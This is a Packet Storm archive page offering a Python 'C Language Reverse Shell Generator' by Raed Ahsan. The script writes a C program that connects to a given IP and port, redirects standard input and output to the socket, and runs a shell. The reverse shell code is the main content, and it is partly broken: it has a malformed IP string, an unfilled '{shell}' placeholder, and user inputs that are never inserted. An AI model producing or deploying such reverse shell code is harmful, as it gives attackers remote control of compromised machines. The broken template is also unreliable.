exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

C Language Reverse Shell Generator

C Language Reverse Shell Generator
Posted Jul 5, 2022
Authored by Raed Ahsan

This is a C language reverse shell generator that is written in Python.

tags | tool, shell, rootkit, python
systems | unix
SHA-256 | 5dd358c97fb9c1f37b759fb43edddae386016d7945cc7d063e37b7e28f9e337f

C Language Reverse Shell Generator

Change Mirror Download
import time
import sys
import pyautogui
import subprocess

# Loading()
def processing():
animation = ["[■□□□□□□□□□]","[■■□□□□□□□□]", "[■■■□□□□□□□]", "[■■■■□□□□□□]", "[■■■■■□□□□□]", "[■■■■■■□□□□]", "[■■■■■■■□□□]", "[■■■■■■■■□□]", "[■■■■■■■■■□]", "[■■■■■■■■■■]"]
for i in range(len(animation)):
time.sleep(0.3)
sys.stdout.write("\r" + animation[ i % len(animation)])
sys.stdout.flush()

print("\n")

# C language reverse shell generator code:

def C_rev():
print("Welcome to R-Security C reverse shell generator")
print("1 - C language rev shell")
user = int(input("Please enter a number for rev shell: "))
if user == 1:
ip = input("Enter target IP: ")
port = input("Enter target port: ")
time.sleep(1)
processing()
with open("crevshell.c", "w") as payload:
payload.write("""
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
int port = ENTER_TARGET_PORT_HERE;
struct sockaddr_in revsockaddr;

int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("[ENTER_TARGET_IP_HERE");

connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);

char * const argv[] = {"pwsh", NULL};
execve("{shell}", argv, NULL);

return 0;
}
""")
print("[*] Reverse shell created successfully!")
print("[!] Do change the target IP and target PORT fields.")
print('\033[1m' + "Thank you for using R-Security C reverse shell generator tool" + '\033[0m')
C_rev()
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    0 Files
  • 9
    Jul 9th
    0 Files
  • 10
    Jul 10th
    0 Files
  • 11
    Jul 11th
    0 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close